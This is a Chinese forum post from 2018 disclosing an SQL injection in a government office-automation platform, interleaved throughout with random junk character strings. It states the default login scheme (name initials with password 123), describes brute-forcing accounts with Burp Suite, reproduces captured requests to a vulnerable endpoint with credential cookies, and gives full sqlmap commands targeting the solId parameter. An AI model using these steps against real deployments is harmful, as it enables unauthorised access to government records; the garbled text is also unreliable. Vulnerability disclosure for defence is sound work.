|
, L2 D' `: N3 f- V* Q( _0 k
4 ~4 \9 q' K/ o+ y9 |6 m. O
6 I9 L; _& }8 D2 j' V4 g) M/ S4 _& R
5 u1 Y* b+ U/ |7 U' V( A+ b) U 平台简介：( q6 U$ E8 q% M
5 i2 V3 L1 t: B! v) t( z2 G
3 b# Q, f! A1 ?+ { , F! X# s( s- [) ~) Y
' n% u1 m9 Z7 p: \7 v
- {) x' c- U+ M6 _ 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
+ s8 I- l2 o& n7 q& |" {4 T, L同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
" X' F/ P+ I, U. O I/ ^同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！" e; d/ O$ l( I4 ^6 R! _5 {
3 O J4 {$ f8 H7 Z: `
/ I" T7 G: n& ? n
- i3 p3 a8 |& |0 f M 0 c5 S( }' u2 s
: F: I1 D. t! J- J" q
由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：
- I/ L( X1 N$ x# m * C& t! b* l; q. [1 e
- z* X$ E: n9 A b3 j% A ?3 u
! i% j8 `7 D' l% _8 ]
4 s, A! O, F8 [! W6 b/ Z& D8 l- m
http://1.1.1.1:7197/cap-aco/#（案例2-）. }( R7 V* ?5 \' ] t) g3 H
+ F0 u5 o- Y p2 ]3 w% U
O z8 b# ^7 ^ http://www.XXOO.com （案例1-官网网站）
8 `7 f" ]) C, O! R
7 O, g. Z3 u* A2 {
' t7 O- I, J+ P$ X7 |& { / }8 `* P* T# f2 {) |9 i7 D3 U+ w
# K3 F0 @2 U* J' [$ ^- ]9 Z0 S3 k
# ^$ O9 G. P7 [' B6 ^7 y 漏洞详情:. b$ F) f, c w' l" | ?
; @1 d& A1 A! b: M" B7 [. d7 l. T6 l" L7 a) q% P
初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试
2 F2 K4 |! n1 C7 w0 U( F2 H
9 H5 |! s( n$ H. N
* y7 x- ~6 y5 q, P. v. w* @ 首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：- U; S& T. X; {" V, [5 H% |. i
8 ~' W/ m& q3 @ z: p2 V6 Y7 C& l; L( f2 P( r a
; ^4 B* s+ ?. r/ p9 n
# A5 v' K" U8 v k
0 x1 M1 K0 n. n
 ' C3 q( O' X5 v/ _8 y3 q. z
* s! O' \. ^6 s( `% D* v( [, d
. R( ] v: |4 S status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：
a* \% V' l' h j) x5 o+ w) G- v
& n5 ?$ D& g0 m- X* t2 O, P1 S( } q" O+ e. p: X, C# I& f2 B9 H
1、案例1-官方网站$ `4 T- R8 _) ?* x1 L$ ]& ]! ?
5 q4 J# U5 @# v' e$ n n( {3 V# z7 c0 y
GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1
) ~9 U) u' s( v- D # b- G4 e9 B6 t: F; b5 V
# z# E# A7 }6 d( V Host: www.XXOO.com
1 h7 b4 S( Q2 K# c3 c$ ]' @7 w/ G ^" T5 ~5 w0 @$ L L' u0 K% B
# h# u5 h- @+ r8 b# m! v Proxy-Connection: Keep-Alive
' n. w% X0 s6 v" j4 t
0 V+ W' B" I3 S& X9 {# C1 m A- u8 u1 g
Accept: application/json, text/javascript, */*; q=0.01
4 J6 ^ m! G0 H
1 n' D9 z6 T4 P. @0 N
2 M# z" P+ B; J5 J) z6 @ Accept-Language: zh-CN6 T) C+ U L) a7 a7 X
8 Q" W% |+ n$ j+ x1 z! ?, G% ^, ^$ a
# U( E; P: x# Y5 {& j% I7 G9 R# P Content-Type: application/json
- x+ F- {0 v2 _, O! ^7 s; q ( ^3 `% E2 R$ r' |+ |8 F
) Z! G" t4 H2 f' G1 A3 Q9 q1 J User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko
( N _5 i8 d$ L& k: L5 h
3 }* Y8 P C5 m Q) h1 _" y! J5 p, D8 C$ }/ l
X-Requested-With: XMLHttpRequest) @0 {4 U ^! P3 R0 }: m
, g& Q0 \; r; H' i
* W! t8 e! ]* } Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002- u5 i) X9 o& {3 N) D! U
2 c8 B- l! e+ j% Z: X) Y& Y6 \$ t
Accept-Encoding: gzip, deflate, sdch7 F) s) O8 P7 n6 ~) H5 T
. Y. D4 ~" n5 l B, D. W' v! [
1 W) S' r; ~' F$ g
Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e+ X6 i7 Q$ N) n0 }: A% O
6 Z, ~- a) N2 O1 Z# @
5 X \ @, `$ E7 M! w: ~: p 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:
9 H) ^! I* c7 H% p+ l + n, B& x3 X" |- F0 m! f
[3 k* X& V* J
; w2 y3 O: l' F4 s- N
, _' z5 }- \9 Z, c: n0 y" E% C; N$ d! X' W/ j: s
 , x4 s9 V6 D6 u4 J% p2 r# z; U
, A, l' e. Y2 S! a; I0 k$ A ]' N- B: ]
, y+ r. N& p; m6 Y6 ?9 v3 u/ _
, |$ B; c& b% Y3 Q* H: U
/ [; E2 d2 F1 `2 i
% V& W# b+ ]! p% d2 {& C0 n- n8 f 7 f" v, U4 d% I8 u1 V! o- n
. z F' Z. r3 U
) c7 J6 t4 n& @ $ `" {7 [ V7 z0 M
' ~; z* E. e7 |. ^) b 2、案例2-某天河云平台
`* \% _: y/ J" O
5 ]* t/ z$ D0 I
% E3 N; `; v4 u GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1+ \4 v! {, e' g7 M9 x( ~# y
0 w3 }# y% `( Y
. F2 K6 v0 D$ a6 s# s- P
Host: 1.1.1.:7197
3 Q1 y* }% G: |
' @1 W% {5 D8 G+ E+ O. k% L1 p6 |% O$ X
Accept: application/json, text/javascript, */*; q=0.014 y2 C( g5 p2 b" q2 y
% O+ F! o2 F2 a5 ], h5 s1 p* `) @1 V: D' x! t0 [, l1 A5 Z8 p; ]
X-Requested-With: XMLHttpRequest {3 ]9 H* U Y5 G3 S# y: i- t) ^
8 L, m; w2 t& O4 r1 p
+ @$ j0 j7 S" T9 ] User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0' T, H: }) R& p
0 B% f) G' r9 c: c
* w+ X( \' r( s' J
Content-Type: application/json( R: T( y9 Y+ c ^. n$ l: W( V
8 s" ^# X$ w% ^
. _! m3 G! M7 T1 H( F. X* a Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008# h L% o- i3 f R# l
" K$ @; Q8 X3 |% Y! a5 u" Y" |9 I) b
( t& P/ g/ \% X; | Accept-Language: zh-CN,zh;q=0.8, U& x) s. V% G: O& q& j
; h; p6 B3 E. n" X9 \
) _% [( T$ Q7 v" h4 |8 M! j Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1
4 e' P: Q2 K! q. } , V& u7 T N; k7 Z$ b
. | p- X- E% C- S4 L) }4 C
Connection: close
$ ~0 W3 e: K! j7 A' D
7 H0 @1 H3 [" L0 E2 u2 |% {' F- C5 a: S! ?$ ]2 F- W
将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:4 _% W. z# e2 f3 F7 d
8 z" D; j. I5 j" c
; J6 H; P! G4 k' x0 u& {4 E5 f 
% P0 Y% P v- A9 k0 \% C( u
) Q; ^4 G. }, q7 w( y3 {) g1 p# }6 c# w6 w5 t7 K, d
6 n4 E m- d& \: O* h% n | 
发表于 2018-10-20 20:15:17
收藏
支持
反对